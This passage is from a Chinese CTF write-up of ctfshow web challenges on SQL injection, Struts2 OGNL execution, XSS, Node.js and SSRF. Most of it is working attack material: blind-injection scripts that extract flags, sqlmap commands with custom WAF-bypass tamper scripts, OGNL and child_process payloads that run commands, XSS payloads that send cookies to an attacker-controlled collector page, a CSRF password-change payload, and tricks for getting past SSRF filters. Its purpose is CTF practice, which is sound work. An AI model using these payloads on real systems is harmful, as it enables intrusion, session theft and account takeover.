简单解释一下,就是用(ctfshow_user)where(pass)regexp(“^ctfshow{flag+j}”)一个一个匹配flag,flag+j就是逐个遍历各个字符,如果我们猜测的flag确实是真实flag的一部分就会返回user_count = 1,最后慢慢盲注出来真实的flag,因为regexp(“^ctfshow{flag+j}”)是一种正则注入,若匹配则返回1,不匹配返回0

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了where可以使用having,过滤了引号可以使用16进制,where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471,其实也就简单改改上面脚本的语法就行了,继续偷一手羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = asc2hex(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break

web185

  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了1到9的数字,我们可以用其他方式表达数字,比如我们可以使用true拼接出数字,再使用char函数转换成字符,最后使用concat进行拼接。比如想获取字符c,c的ascii为99,c就可以等于char(ture+ture+ture......) (99个true),羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://f15a113d-2bae-432c-8dc6-a2cb1fe7b54e.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

web186

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

还是能用上面的脚本打

web187

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
      

md5(‘ffifdyop’,true)= ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,闭合掉了引号并且存在or,所以可以直接登录成功,所以用admin+ffifdyop登录即可,最后在返回包找到flag

web188

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";
 //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

只要输入的密码经过intval函数后弱等于查询出的密码就可以获得flag,所以如果真正的密码是字母我们就能用0等于成功,而用户名我们也可以用0,因为username一般是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来

username=0&password=0

web189


  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

flag在api/index.php文件中,所以只能盲注了

import requests
import time

url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
		if response.text.find("8d25")>0:
			print("++++++++++++++++++ {} is right".format(x))
			flag+=x
			break
		else:
			continue
	print(flag)

web190

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

查询语句里加上了单引号:username = '{$username}',密码依然是和数字弱类型比较,所以其实没啥差别

#author:yu22x
import requests
import string
url="http://46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

web191

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

改成ord就行了

#author:yu22x
import requests
import string
url="http://f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑表名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

web192

ord被禁了,改成跑字符即可

 if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }
import requests
import string
url="http://ce110fe8-25ce-4466-977e-9adadcc811b3.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''

for i in range(1,45):
    for j in s:
    
        data={
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break

web193

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

多过滤了substr,可以换成mid

import requests
import string
url="http://9c661478-5e7e-42ee-a47d-586a2a2c614b.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''

for i in range(1,46):
    for j in s:
		        #跑表名
        # data={
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#",
        #     'password':'1'
        # }

        #跑列名
        # data={
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#",
        #     'password':'1'
        # }
        #跑数据
        data={
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#",
            'password':'1'
        }
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break

web194

同上

web195

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }
1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

两次分别把用户名和密码都设为1,然后登录即可

web196

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }
      
username=0;select(1)&password=1

直接强制登录(所以这个select实际上没有被过滤)

web197-200

username=1;show tables;&password=ctfshow_user

show tables的结果就是ctfshow_user,所以用password与之相等即可

web201

系统学习sqlmap,抄一下别人师傅的描述:

当前数据库
参数:--current-db
返还当前连接的数据库。

列举数据库表
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。

获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

使用参数绕waf
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

指定脚本进行绕过(--tamper)
比如sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

探测等级和危险等级(—level —risk)
sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

题目要求:

sqlmap最新版下载

使用--user-agent 指定agent

使用--referer 绕过referer检查
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user -C pass -dump --refer=ctf.show

web202

使用--data 调整sqlmap的请求方式
sqlmap -u http://86a06618-62a0-4fe8-90b1-cbe82859ef43.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" --dump

web203

使用--method 调整sqlmap的请求方式
sqlmap -u http://976af25a-071d-4e03-9b5a-9d8333b65943.challenge.ctf.show/api/index.php   --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain"

web204

 使用--cookie 提交cookie数据
sqlmap -u http://01c7d214-3aa8-43db-be16-b210d02ac965.challenge.ctf.show/api/index.php  --cookie=3089874dc14bcc794d70b21cdd8bb544  --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

web205

api调用需要鉴权
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

sqlmap -u http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/getToken.php --safe-freq 1

web206

sqlmap -u http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/getToken.php --safe-freq 1

web207

增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/

sqlmap -u http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py

web208

过滤了小写select,然而sqlmap用的大写的,所以没差别

web209

自己写一个tamper :ctfshow209.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):


    retVal = payload
    retVal = retVal.replace("=", " like ")
    retVal = retVal.replace(" ", chr(0x0a))


    return retVal
sqlmap -u http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  ctfshow209.py

web210

ctfshow210.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):


    retVal = payload
    retVal = retVal.replace("-- -", "#")
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')

    return retVal
sqlmap -u http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  ctfshow210.py

web211

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("")

def tamper(payload, **kwargs):

    retVal = payload

    retVal = retVal.replace(" ", "/**/")
    retVal = retVal.encode()
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal.decode()

    return retVal
sqlmap -u http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch --tamper 211.py

web212

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

改成替换成%09

web入门·JAVA

web279-S2-001

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据,因此我们可以在%{}装入我们想要执行的命令,submit后即可在表单上显示执行结果

获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行env命令,获得flag

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

web280-S2-005

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 – Struts 2.0.11.2

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本:Struts 2.0.0 – Struts 2.1.8.1

找个脚本一把梭即可,执行env拿flag

web281-S2-007

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 – Struts2 2.2.3

poc:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

web282-S2-008

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的

影响版本:Struts 2.1.0 – Struts 2.3.1

poc:

url/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web入门·XSS

web316

xml.php

<?php
$content = $_GET['1'];
if(isset($content)){
    file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".$content);
}else{
    echo 'no data input';
}
<script>document.location.href='http://url/xml.php?1='+document.cookie</script>

xml.php放你vps上,payload执行后可以在网页目录看到一个flag.txt。首先得到的是你自己的cookie,过会儿xssbot点了才能拿到flag

web317

script被过滤了,换个标签即可

<body onload="window.open('http://url/xml.php?1='+document.cookie)"></body>

web318

过滤了img,还是用上题那个payload

web319

不知道多了啥过滤,反正同上

web320

空格被ban

<iframe/**/onload="window.open('http://url/xml.php?1='+document.cookie)"></iframe>

web321

同上

web322

同上

web323

<body/**/onload="window.open('http://url/xml.php?1='+document.cookie)"></body>

web324

同上

web325

同上

web326

同上

web327

所以payload还是同上,只不过这次换成了存储型xss,代码被永久地存放在目标服务器的数据库或文件中,只要使用特定url就可以永久执行,而我们上面的反射型xss仅仅是对你这次访问产生了影响,不是持久型攻击

web328

用户名和密码的源代码不存在单引号或者双引号包裹的可以直接xss,我们去注册个账户,用户名和密码均为:

<script>window.location.href='http://url/xml.php?1='+document.cookie;</script>

这样admin访问管理页面就会强制跳转,我们盗用cookie登录即可获得flag:

web329

和上一题一样直接盗取cookie登录会失效,因为admin的cookie是临时的,不会长久保存,我们在他点击链接的时候把想要的内容拿到就行了

<script>window.open('http://url/xml.php?1='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

还是和刚刚一样注册的时候账户密码都用这个

web330

多了个修改密码的功能:

这就很明显了,用类似csrf的方法把admin密码改了就行了,注册个号,账号和密码都为:

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

最后用账号admin和密码123登录即可

web331

还是改密码,只是这次换成了POST方法,修改一下payload:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

注册个号,账号和密码都为这个payload,然后用密码123登录admin账户即可:

web332

注册两个号,一个号向另一个号转-999999999999元即可

web333

因为自己给自己转账不扣钱,所以写个脚本一直转就行了

import requests
import re
import time
x=5
url="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/amount.php"
url2="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=b3rcula2jb86mo11r0v13kg932'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
	'u':'123456', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

web入门·nodejs

web334

账号和密码是CTFSHOW和123456,但用户名不能为CTFSHOW,后面username=name.toUpperCase()把用户名转大写了,所以输入小写的ctfshow和123456即可

web335

看注释让我们/?eval=,猜测这题目源码是eval('xxx'),输入代码执行命令即可

?eval=require("child_process").execSync('cat f*')

web336

上一题的payload被ban,换一个即可

?eval=require( 'child_process' ).spawnSync( 'cat',["fl001g.txt"]).stdout.toString()

web337

得到flag的条件是a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型判断),用数组绕过即可

?a[x]=1&b[x]=2

web338

一道原型链污染的题

简单解释一下什么叫原型链污染:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

输出为:

1
1
2

这是因为原型链的查找顺序是先查看父对象是否拥有这个属性,然后向上一级的.proto即原型进行查找。我们这里的代码第一次console.log(foo.bar)打印的是1这没啥问题,第二次打印的还是1是因为父对象的值还是1所以修改原型并没有对值发生改变,第三次打印是2是因为zoo.bar查找的时候没有父对象,然后继续向上找,即zoo.proto里寻找,我们使用foo.proto.bar = 2,就是给Object添加了一个bar属性,修改了原型的值,而这个属性则被zoo继承,所以最后为2。

回到本题,该题的关键代码是:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }


});

module.exports = router;

也就是我们要让secert.ctfshow===’36dboy’,utils.copy会将请求体中的数据复制到一个名为“user”的对象中,所以我们只要像上面的演示一样让password.__proto__.ctfshow=’36dboy’即可,payload:

{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}

甚至只用{"__proto__":{"ctfshow":"36dboy"}}都可以,只要成功给Object添加熟悉即可

web338

现在代码变成了:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

像上一题一样直接覆盖是不行了,因为我们又不知道flag的值,没法让secert.ctfshow===flag

web入门·SSRF

web351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

POST传入

url=127.0.0.1/flag.php

让服务器帮我们请求本地的flag.php即可

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

主要是加了一个过滤:

if(!preg_match('/localhost|127.0.0/'))

但这个代码其实写错了,因为没规定匹配哪个变量里的字符串,所以上一题的payload还是能打:

url=http://127.0.0.1/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤了localhost”、”127.0.” 或中文句号(

127.1可被解析为127.0.0.1,为0可缺省
在linux中,0会被解析为127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost

当然我们还可以对127.0.0.1转进制

url=http://2130706433/flag.php

web354

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 
url=http://sudo.cc/flag.php

这个域名应该提前解析向0.0.0.0了,所以可以成功

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

也就多加了个小于5而已,用之前那个Payload可以照打:

url=http://127.1/flag.php

web356

<?php
